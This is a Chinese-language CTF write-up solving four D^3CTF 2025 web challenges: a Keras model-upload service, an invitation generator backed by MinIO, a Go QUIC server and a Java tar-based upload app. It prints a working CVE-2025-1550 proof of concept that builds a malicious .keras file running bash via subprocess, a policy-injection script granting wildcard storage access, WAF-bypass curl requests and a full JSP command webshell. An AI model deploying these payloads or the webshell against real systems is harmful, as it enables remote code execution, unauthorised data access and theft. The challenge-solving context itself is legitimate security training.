d3model 审源码项目 依赖的版本:
keras==3.8.0 flask tensorflow
源码:
import kerasfrom flask import Flask, request, jsonifyimport osdef is_valid_model (modelname ): try : keras.models.load_model(modelname) except : return False return True app = Flask(__name__) @app.route('/' , methods=['GET' ] ) def index (): return open ('index.html' ).read() @app.route('/upload' , methods=['POST' ] ) def upload_file (): if 'file' not in request.files: return jsonify({'error' : 'No file part' }), 400 file = request.files['file' ] if file.filename == '' : return jsonify({'error' : 'No selected file' }), 400 MAX_FILE_SIZE = 50 * 1024 * 1024 file.seek(0 , os.SEEK_END) file_size = file.tell() file.seek(0 ) if file_size > MAX_FILE_SIZE: return jsonify({'error' : 'File size exceeds 50MB limit' }), 400 filepath = os.path.join('./' , 'test.keras' ) if os.path.exists(filepath): os.remove(filepath) file.save(filepath) if is_valid_model(filepath): return jsonify({'message' : 'Model is valid' }), 200 else : return jsonify({'error' : 'Invalid model file' }), 400 if __name__ == '__main__' : app.run(host='0.0.0.0' , port=5000 )
可以上传一个不大于50MB的文件, 根据keras
的版本找到CVE-2025-1550
在loal_model
处触发漏洞,可以实现命令执行 参考这个链接使用的POC:https://blog.huntr.com/inside-cve-2025-1550-remote-code-execution-via-keras-models
import osimport zipfileimport jsonfrom keras.models import Sequentialfrom keras.layers import Denseimport numpy as npmodel_name = "test.keras" x_train = np.random.rand(100 , 28 * 28 ) y_train = np.random.rand(100 ) model = Sequential([Dense(1 , activation='linear' , input_dim=28 * 28 )]) model.compile (optimizer='adam' , loss='mse' ) model.fit(x_train, y_train, epochs=5 ) model.save(model_name) with zipfile.ZipFile(model_name, "r" ) as f: config = json.loads(f.read("config.json" ).decode()) config["config" ]["layers" ][0 ]["module" ] = "keras.models" config["config" ]["layers" ][0 ]["class_name" ] = "Model" config["config" ]["layers" ][0 ]["config" ] = { "name" : "mvlttt" , "layers" : [ { "name" : "mvlttt" , "class_name" : "function" , "config" : "Popen" , "module" : "subprocess" , "inbound_nodes" : [{"args" : [["/bin/bash" , "-c" , "env>>index.html" ]], "kwargs" : {"bufsize" : -1 }}] }], "input_layers" : [["mvlttt" , 0 , 0 ]], "output_layers" : [["mvlttt" , 0 , 0 ]] } with zipfile.ZipFile(model_name, 'r' ) as zip_read: with zipfile.ZipFile(f"tmp.{model_name} " , 'w' ) as zip_write: for item in zip_read.infolist(): if item.filename != "config.json" : zip_write.writestr(item, zip_read.read(item.filename)) os.remove(model_name) os.rename(f"tmp.{model_name} " , model_name) with zipfile.ZipFile(model_name, "a" ) as zf: zf.writestr("config.json" , json.dumps(config)) print ("[+] Malicious model ready" )
先创建一个正常的模型,然后根据其压缩包的性质解压并修改config 修改一下系统命令就可以使用
FLAG=d3ctf{moD3L-IO@D-r3@LIy-c4UsE5_rc383ad8b}
d3invitation 是一个生成邀请函的web服务 先正常使用看一下全流程 其中/api/genSTSCreds
接口, 会根据文件名发放token:
POST /api/genSTSCreds HTTP/1.1 Host : 35.241.98.126:31138Content-Length : 36User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36Content-Type : application/jsonAccept : */*Origin : http://35.241.98.126:31138Referer : http://35.241.98.126:31138/Accept-Encoding : gzip, deflate, brAccept-Language : zh-CN,zh;q=0.9Connection : close{ "object_name" : "20240704193708.jpg" }
HTTP/1.1 200 OKContent-Type : application/json; charset=utf-8Date : Wed, 04 Jun 2025 12:53:24 GMTContent-Length : 668Connection : close{ "access_key_id" : "7SWYYK5QNPONE8H3XMX9" , "secret_access_key" : "fMKE5GeLwWTs2EyxYKkUOApocFKooJqM+bDJYcox" , "session_token" : "eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiI3U1dZWUs1UU5QT05FOEgzWE1YOSIsImV4cCI6MTc0OTA0NTIwNCwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2TWpBeU5EQTNNRFF4T1RNM01EZ3VhbkJuSWwxOVhYMD0ifQ.s9NFu0aVSWX1rHAlgtaZ0kyHUqV1bfGzUsJsyvkmj9izO6Rf69VP15oz4LuWXChIrKa6uOWpuNyPN0e8X7dWdA" }
把这一段session_token
放jwt解一下:
{ "accessKey": "7SWYYK5QNPONE8H3XMX9", "exp": 1749045204, "parent": "B9M320QXHD38WUR2MIY3", "sessionPolicy": "eyJWZXJzaW9uIjoiMjAxMi0xMC0xNyIsIlN0YXRlbWVudCI6W3siRWZmZWN0IjoiQWxsb3ciLCJBY3Rpb24iOlsiczM6R2V0T2JqZWN0IiwiczM6UHV0T2JqZWN0Il0sIlJlc291cmNlIjpbImFybjphd3M6czM6OjpkM2ludml0YXRpb24vMjAyNDA3MDQxOTM3MDguanBnIl19XX0=" }
发现还有一段sessionPolicy
,也解一下:
{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "s3:GetObject", "s3:PutObject" ], "Resource": [ "arn:aws:s3:::d3invitation/20240704193708.jpg" ] } ] }
这里就是明文了 文件池是用AWS策略储存的 尝试后发现可以闭合,因为服务端直接对文件名进行拼接 那么使用一下我们的wp上的文件名,手动拼出来:
{ "Version" : "2012-10-17" , "Statement" : [ { "Effect" : "Allow" , "Action" : [ "s3:GetObject" , "s3:PutObject" ] , "Resource" : [ "arn:aws:s3:::d3invitation/" ] , "Action" : [ "s3:GetObject" , "s3:PutObject" ] } , { "Effect" : "Allow" , "Action" : [ "s3:GetObject" , "s3:PutObject" , "s3:ListBucket" , "s3:ListAllMyBuckets" , "s3:GetBucketLocation" ] , "Resource" : "*" } ] } aaa" ] } ] }
这个作为json结构我个人感觉其实有点问题 因为第一个Statement中有两个action 然后后面也有乱数据无法去掉 但是经过服务端好像会自动纠错 发下来就变成修正后的数据了:
{ "Version" : "2012-10-17" , "Statement" : [ { "Effect" : "Allow" , "Action" : [ "s3:GetObject" , "s3:PutObject" ] , "Resource" : [ "arn:aws:s3:::d3invitation/" ] } , { "Effect" : "Allow" , "Action" : [ "s3:PutObject" , "s3:GetBucketLocation" , "s3:GetObject" , "s3:ListAllMyBuckets" , "s3:ListBucket" ] , "Resource" : [ "**" ] } ] }
当然也可以用官方wp的s3:*
写法 这样的token就是minio服务的所有权限 以上就是核心思路 如何使用token去访问minio服务就是云安全的内容了 以后学到会想起来这题的 当然这里可以用python脚本完成
from minio import Miniofrom minio.error import S3Errorimport requestsimport jsonBASE_URL = "http://35.241.98.126:31138" UPLOAD_FILENAME = '"],\"Action\":[\"s3:GetObject\",\"s3:PutObject\"]},{"Effect": "Allow","Action": ["s3:GetObject","s3:PutObject","s3:ListBucket","s3:ListAllMyBuckets","s3:GetBucketLocation"],"Resource": "*"}]}aaa' UPLOAD_CONTENT = b"This is a test file from attacker." ACCESS_KEY = "" SECRET_KEY = "" BUCKET_NAME = "flag" SESSION_TOKEN="" def get_temp_creds (object_name ): global ACCESS_KEY, SECRET_KEY, SESSION_TOKEN url = f"{BASE_URL} /api/genSTSCreds" data = {"object_name" : object_name} resp = requests.post(url, json=data) resp.raise_for_status() print ("[+] 获取临时凭证成功" ) ACCESS_KEY= resp.json()['access_key_id' ] SECRET_KEY=resp.json()['secret_access_key' ] SESSION_TOKEN=resp.json()['session_token' ] return ACCESS_KEY,SECRET_KEY,SESSION_TOKEN get_temp_creds(UPLOAD_FILENAME) print (ACCESS_KEY)print (SECRET_KEY)print (SESSION_TOKEN)minio_client = Minio( "35.241.98.126:31500" , access_key=ACCESS_KEY, secret_key=SECRET_KEY, session_token=SESSION_TOKEN, secure=False ) def download_file (object_name, download_path ): """Download a file from the MinIO bucket.""" try : minio_client.fget_object(BUCKET_NAME, object_name, download_path) print (f"[+] File '{object_name} ' downloaded to '{download_path} '" ) except S3Error as e: print (f"[-] Error downloading file: {e} " ) def list_objects (): """List all objects in the MinIO bucket.""" try : objects = minio_client.list_objects(BUCKET_NAME) print ("[+] Objects in bucket:" ) for obj in objects: print (f" - {obj.object_name} " ) except S3Error as e: print (f"[-] Error listing objects: {e} " ) def list_buckets (): """List all buckets in the MinIO server.""" try : buckets = minio_client.list_buckets() print ("[+] Buckets:" ) print (buckets) for bucket in buckets: print (f" - {bucket.name} " ) except S3Error as e: print (f"[-] Error listing buckets: {e} " ) list_buckets() list_objects() download_file("flag" , "1.txt" )
tidy quic 对源码进行一个审:
package main import ( "bytes" "errors" "github.com/libp2p/go-buffer-pool" "github.com/quic-go/quic-go/http3" "io" "log" "net/http" "os" ) var p pool.BufferPool var ErrWAF = errors.New("WAF" ) func main () { go func () { err := http.ListenAndServeTLS(":8080" , "./server.crt" , "./server.key" , &mux{}) if err != nil { log.Fatalln(err) } }() go func () { err := http3.ListenAndServeQUIC(":8080" , "./server.crt" , "./server.key" , &mux{}) if err != nil { log.Fatalln(err) } }() select {} } type mux struct { } func (*mux) ServeHTTP(w http.ResponseWriter, r *http.Request) { if r.Method == http.MethodGet { _, _ = w.Write([]byte ("Hello D^3CTF 2025,I'm tidy quic in web." )) return } if r.Method != http.MethodPost { w.WriteHeader(400 ) return } var buf []byte length := int (r.ContentLength) if length == -1 { var err error buf, err = io.ReadAll(textInterrupterWrap(r.Body)) if err != nil { if errors.Is(err, ErrWAF) { w.WriteHeader(400 ) _, _ = w.Write([]byte ("WAF" )) } else { w.WriteHeader(500 ) _, _ = w.Write([]byte ("error" )) } return } } else { buf = p.Get(length) defer p.Put(buf) rd := textInterrupterWrap(r.Body) i := 0 for { n, err := rd.Read(buf[i:]) if err != nil { if errors.Is(err, io.EOF) { break } else if errors.Is(err, ErrWAF) { w.WriteHeader(400 ) _, _ = w.Write([]byte ("WAF" )) return } else { w.WriteHeader(500 ) _, _ = w.Write([]byte ("error" )) return } } i += n } } if !bytes.HasPrefix(buf, []byte ("I want" )) { _, _ = w.Write([]byte ("Sorry I'm not clear what you want." )) return } item := bytes.TrimSpace(bytes.TrimPrefix(buf, []byte ("I want" ))) if bytes.Equal(item, []byte ("flag" )) { _, _ = w.Write([]byte (os.Getenv("FLAG" ))) } else { _, _ = w.Write(item) } } type wrap struct { io.ReadCloser ban []byte idx int } func (w *wrap) Read(p []byte ) (int , error ) { n, err := w.ReadCloser.Read(p) if err != nil && !errors.Is(err, io.EOF) { return n, err } for i := 0 ; i < n; i++ { if p[i] == w.ban[w.idx] { w.idx++ if w.idx == len (w.ban) { return n, ErrWAF } } else { w.idx = 0 } } return n, err } func textInterrupterWrap (rc io.ReadCloser) io.ReadCloser { return &wrap{ rc, []byte ("flag" ), 0 , } }
梳理一下运行流程 运行程序执行main
函数 然后启动两个服务器,分别是http
和http3
的协议 这两个服务是同时运行的
两个服务的处理逻辑都是mux(自定义的多路复用器)
接收到请求时, 如果是GET请求,就返回一句欢迎:
Hello D^3CTF 2025,I'm tidy quic in web.
如果是POST请求,就根据Content-Length
获取对应长度的请求体,存在buf
里
如果buf以I want
开头 且剩余的内容去除前后的空白后为flag
就可以获取到返回到的flag
关键的特性在这个地方:
} else { buf = p.Get(length) defer p.Put(buf) rd := textInterrupterWrap(r.Body)
虽然p.Put
归还了缓冲区,使其可用 但是并不会删除它的数据 而waf检查的不是buf
而是请求体本身r.Body
那么我们可以发一次
C:\Users\20889>C:\Users\20889\scoop\shims\curl.exe -k --http3 https://35.241.98.126:31547/ -X POST -H "Content-Length: 10" -H "Connection: keep-alive" -d "I wantflag" WAF
被waf,但是此时数据还存在buf里 这个内置机制似乎会过一小段时间自动释放 所以只要快速发出下一条
C:\Users\20889>C:\Users\20889\scoop\shims\curl.exe -k --http3 https://35.241.98.126:31547/ -X POST -H "Content-Length: 10" -H "Connection: keep-alive" -d "" d3ctf{Y0u-S@iD_RlghT_6Ut-YOu_SHoULD-P1ay_GeNshln-iMp@ct1}
就能拿到flag了 但这里第二次发送时要注意不要覆盖掉原有的结果 即I want flag
这个结构,所以用空字符串最好
jtar 看到是java题已经畏惧了 但还是只能知识学爆
首先学着写一个jsp马
JSP(Java Server Pages)是一种用于开发动态网页的技术, 它允许开发者将Java代码嵌入到HTML页面中。 JSP是基于Java Servlet技术的扩展, 主要用于简化页面内容的动态生成。
那么我就把它理解成php
语法似乎就是使用<%%>
包裹 然后内部写java
语法
这道题似乎没有对内容进行过滤, 所以抄一个最普通的有回显木马:
<%@ page import ="java.io.InputStream" %> <%@ page import ="java.io.BufferedReader" %> <%@ page import ="java.io.InputStreamReader" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>一句话木马</title> </head> <body> <% if ("password" .equals(request.getParameter("p" ))){ Process process = Runtime.getRuntime().exec(request.getParameter("cmd" )); InputStream inputStream = process.getInputStream(); BufferedReader bufferedReader = new BufferedReader (new InputStreamReader (inputStream)); String line; while ((line = bufferedReader.readLine())!=null ){ response.getWriter().print(line); } } %> </body> </html>
那么来具体看一下这道题的源码
package d3.example.controller;import d3.example.utils.BackUp;import d3.example.utils.Upload;import java.io.File;import java.io.IOException;import java.nio.file.Paths;import java.util.Arrays;import java.util.HashSet;import java.util.Objects;import java.util.Set;import javax.servlet.http.HttpServletRequest;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.multipart.MultipartFile;import org.springframework.web.servlet.ModelAndView;@Controller public class MainController { public MainController () { } @GetMapping({"/view"}) public ModelAndView view (@RequestParam String page, HttpServletRequest request) { if (page.matches("^[a-zA-Z0-9-]+$" )) { String viewPath = "/WEB-INF/views/" + page + ".jsp" ; String realPath = request.getServletContext().getRealPath(viewPath); File jspFile = new File (realPath); if (realPath != null && jspFile.exists()) { return new ModelAndView (page); } } ModelAndView mav = new ModelAndView ("Error" ); mav.addObject("message" , "The file don't exist." ); return mav; } @PostMapping({"/Upload"}) @ResponseBody public String UploadController (@RequestParam MultipartFile file) { try { String uploadDir = "webapps/ROOT/WEB-INF/views" ; Set<String> blackList = new HashSet (Arrays.asList("jsp" , "jspx" , "jspf" , "jspa" , "jsw" , "jsv" , "jtml" , "jhtml" , "sh" , "xml" , "war" , "jar" )); String filePath = Upload.secureUpload(file, uploadDir, blackList); return "Upload Success: " + filePath; } catch (Upload.UploadException e) { return "The file is forbidden: " + e; } } @PostMapping({"/BackUp"}) @ResponseBody public String BackUpController (@RequestParam String op) { if (Objects.equals(op, "tar" )) { try { BackUp.tarDirectory(Paths.get("backup.tar" ), Paths.get("webapps/ROOT/WEB-INF/views" )); return "Success !" ; } catch (IOException var3) { return "Failure : tar Error" ; } } else if (Objects.equals(op, "untar" )) { try { BackUp.untar(Paths.get("webapps/ROOT/WEB-INF/views" ), Paths.get("backup.tar" )); return "Success !" ; } catch (IOException var4) { return "Failure : untar Error" ; } } else { return "Failure : option Error" ; } } }
可以看到有三个接口
接收一个page
参数 然后会返回对应的views/<page>.jsp
文件
上传一个文件 过滤了有可能被当做jsp解析的所有文件
接收一个op
参数(操作) 如果值为tar
就把views目录打包为一个backup.tar
如果值为untar
就把这个压缩包重新解压到views里
那么现在看来思路其实挺清晰的, 用后两个接口想办法传一个jsp马到views目录里 然后通过View接口去访问
看了很多wp说因为题目叫jtar所以问题肯定在这个解压操作里 其实这个我觉得不一定的,只是网站主要是这个功能而已 但是这道题确实是
到了这里又学到个新特性:
java中char的⼤⼩在\u0000-\uffff之间, ⽽byte的⼤⼩在(-127)-128之间,所以当char的值在257时, 被强制转换成byte,则会变成1,即ascii码为1对应的字符
因为 Java 中 char 的大小是 2 字节, 范围是 0 ~ 65515(\u0000 ~ \uffff), 而 byte 是 1 字节,范围是 -128 ~ 127, 所以如果 char 超过了 256,就会发生数据截断,即只保留低 8 位 所以就想找到一个字符在转换后变成 j、s、p 中的一个字符 比如 j 二进制表示是 00000000 01101010, 考虑加上一个数,使其低八位不变,只改变高八位 即加上超过 8 位的数字(低八位全为 0)。 比如 00000001 00000000,十进制为 256。 相加后为 00000001 01101010。截断后, 就是 01101010 即字符 “j” 了
而jtar获取文件名的实现是通过这么一个函数
public static int getNameBytes (StringBuffer name, byte [] buf, int offset, int length) { int i; for (i = 0 ; i < length && i < name.length(); ++i) { buf[offset + i] = (byte ) name.charAt(i); } for (; i < length; ++i) { buf[offset + i] = 0 ; } return offset + length; }
就发生了上述需要的强制类型转换
那么只要使用python找到jsp对应的加256位的字符即可 不过这道题只需要换一个
也就是Ūsp
那么就传一个Ūsp
马 然后打包再解包 最后上马即可 flag在env里
d3ctf{wh4T_?1_H0W-couID_YoU-D0-thAt_,-JTAr-?3d7c8d}